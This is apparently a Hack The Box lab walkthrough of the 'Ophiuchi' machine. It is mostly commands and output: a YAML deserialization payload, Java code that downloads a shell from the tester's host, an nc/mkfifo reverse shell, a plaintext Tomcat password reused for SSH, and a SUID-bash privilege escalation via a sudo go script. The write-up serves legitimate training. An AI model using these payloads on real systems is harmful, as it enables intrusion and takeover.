Hack The Box - Ophiuchi

info_card.png

User

Ophiuchi is a medium rated machine on HackTheBox created by felamos. In this walkthrough we will abuse insecure deserialization in a yaml parser to gain an initial foothold. After that we use the obtained tomcat credentials to ssh in as the admin user. For the root part we will abuse the use of relative paths in a go script we are allowed to run as root, changing a variable in a wasm file to switch the code path it takes.

Nmap

As usual we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones.

All ports scan

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.129.167.24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 03:20 PDT
Nmap scan report for 10.129.167.24
Host is up (0.043s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 46.18 seconds

Script and version scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sudo nmap -p 22,8080 -sC -sV 10.129.167.24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-03 03:23 PDT
Nmap scan report for 10.129.167.24
Host is up (0.032s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds

Yaml deserialization

There are only 2 ports open on the target machine, with tomcat being the biggest possible chance for success, so we will start there. Opening the page in our webbrowser we are greeted with a yaml parser on the homepage.

homepage.png

This might be vulnerable to deserialization if the base constructor is used for the yaml class. Following this blogpost we can test if we can make the server connect back to our machine with this piece of yaml.

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.19/test"]
  ]]
]

We stand up a python webserver on the port we specified in our yaml payload.

1
2
$sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then enter our yaml payload in the website and click on Parse.

probing.png

We get redirected to a page stating that the feature has been temporarily disabled due to security reasons.

disabled.png

However looking on our webserver we can see a hit from the target trying to get the file we specified.

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.167.24 - - [03/Jul/2021 03:31:25] code 404, message File not found
10.129.167.24 - - [03/Jul/2021 03:31:25] "GET /test HTTP/1.1" 404 -

Following the blogpost further, we can use artsploit’s yaml-payload repository to generate payloads for rce on the server.

Following the documentation for the tool we modify the AwesomeScriptEngineFactory function in the src/artsploit/AwesomeScriptEngineFactory.java file. In a first step we will use it to upload the shell file we prepared to the /tmp directory of the webserver.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget 10.10.14.19/shell -O /tmp/revsh.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }
...[snip]..

shell

1
2
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 7575 >/tmp/f

After modifying the source we have to compile the code.

1
2
3
4
5
6
7
8
9
1
2
3
4
5
6
7
8
9
$ javac src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1478) (out= 389)(deflated 73%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1605) (out= 666)(deflated 58%)

Now we set up a webserver hosting the resulting yaml-payload.jar and modify our yaml code to download and load the file.

1
2
sudo python3  -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.19/yaml-payload.jar"]
  ]]
]

trigger.png

The deserilization seems to work and we get a hit on our server for our shell file right after the hit for the yaml-payload.jar.

1
2
3
4
5
$sudo python3  -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.167.24 - - [03/Jul/2021 03:50:56] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.167.24 - - [03/Jul/2021 03:50:56] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.167.24 - - [03/Jul/2021 03:50:56] "GET /shell HTTP/1.1" 200 -

With our reverse shell code being on the target we only have to execute it in a second step. We do this by simply calling bash on the file we downloaded earlier. First we modify the source code again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("bash /tmp/revsh.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
...[snip]...

Recompile …

1
2
3
4
5
6
7
8
9
1
2
3
4
5
6
7
8
9
$ javac src/artsploit/AwesomeScriptEngineFactory.java
$ jar -cvf yaml-payload.jar -C src/ .
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1478) (out= 389)(deflated 73%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1605) (out= 666)(deflated 58%)

Set up a listener this time on the specified port to catch our reverse shell and also set up our webserver again to serve the payload.

1
2
3
4
$nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
1
2
$sudo python3  -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

trigger.png

Sending our yaml to parse it we get a callback on our webserver for the payload and a reverse shell on our listener.

1
2
3
4
$sudo python3  -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.167.24 - - [03/Jul/2021 03:51:54] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.167.24 - - [03/Jul/2021 03:51:54] "GET /yaml-payload.jar HTTP/1.1" 200 -

For easier access we upgrade our reverse shell as the tomcat user and fix the terminal size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc -lnvp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.167.24.
Ncat: Connection from 10.129.167.24:33260.
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@ophiuchi:/$ epxort TERM=xterm
epxort TERM=xterm
epxort: command not found
tomcat@ophiuchi:/$ export TERM=xterm
export TERM=xterm
tomcat@ophiuchi:/$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

tomcat@ophiuchi:/$ stty rows 55 cols 236
tomcat@ophiuchi:/$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
tomcat@ophiuchi:/$

Tomcat credentials

Tomcat often stores credentials in plaintext format in the tomcat-users.xml file. This is also the case here and we get ssh access as the admin user on the machine.

1
2
3
4
5
6
7
8
tomcat@ophiuchi:/$ cat /opt/tomcat/conf/tomcat-users.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--
...[snip]...
        version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
<!--
...[snip]...
1
2
3
4
5
6
7
8
9
$ ssh admin@10.129.167.24
The authenticity of host '10.129.167.24 (10.129.167.24)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.167.24' (ECDSA) to the list of known hosts.
admin@10.129.167.24's password:
...[snip]...
Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
admin@ophiuchi:~$

Logged in as the admin user we are greeted with the user flag in his home directory.

1
2
admin@ophiuchi:~$ wc -c user.txt 
33 user.txt

Root

WASM

Checking for sudo right we see that admin is allowed to execute go run as root on /opt/wasm-functions/index.go.

1
2
3
4
5
6
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

The code imports the main.wasm web assembly file. Then the exported info function get’s assigned to a variable and called. The result of this call is later converted to a string and compared to "1". If it isn’t equal the program prints "Not ready to deploy" and exits. If it passes the check /bin/sh is called on the file deploy.sh which is not referenced by an absolute path. This means if we can both create our own custom main.wasm and deploy.sh and lead it down another code path, it executes the code we specify in the deploy.sh file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

To not have to write the wasm from scratch we copy over the existing main.wasm file with scp.

1
2
3
$ scp admin@10.129.167.24:/opt/wasm-functions/main.wasm .
admin@10.129.167.24's password: 
main.was

Looking at it with this tool on github we can convert the wasm to wat and see the return value for the info function is hardcoded to 0.

wasm2wat.png

Using the corresponding tool to generate wasm from wat, we can change the value to 1 and download the generated wasm file.

change_int.png

We scp this file over to a directory we have write access to.

1
2
3
$ scp www/main.wasm admin@10.129.167.24:/dev/shm/main.wasm
admin@10.129.167.24's password: 
main.wasm

In this directory we also create a deploy.sh script, which is the code we want to run as root. In this case we simply give bash the suid bit as a simple method to obtain root.

deploy.sh

1
2
#!/bin/bash
chmod +s /bin/bash

With all preparations met we can now do a go run with sudo on /opt/wasm-functions/index.go

1
2
3
admin@ophiuchi:/dev/shm$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

Checking bash, we see it has now the suid bit set.

1
2
admin@ophiuchi:/dev/shm$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Feb 25  2020 /bin/bash

This gives us easy access as the root user and we can add the rootflag to our collection.

1
2
3
4
5
admin@ophiuchi:/dev/shm$ /bin/bash -p
bash-5.0# id
uid=1000(admin) gid=1000(admin) euid=0(root) egid=0(root) groups=0(root),1000(admin)
bash-5.0# wc -c /root/root.txt
33 /root/root.txt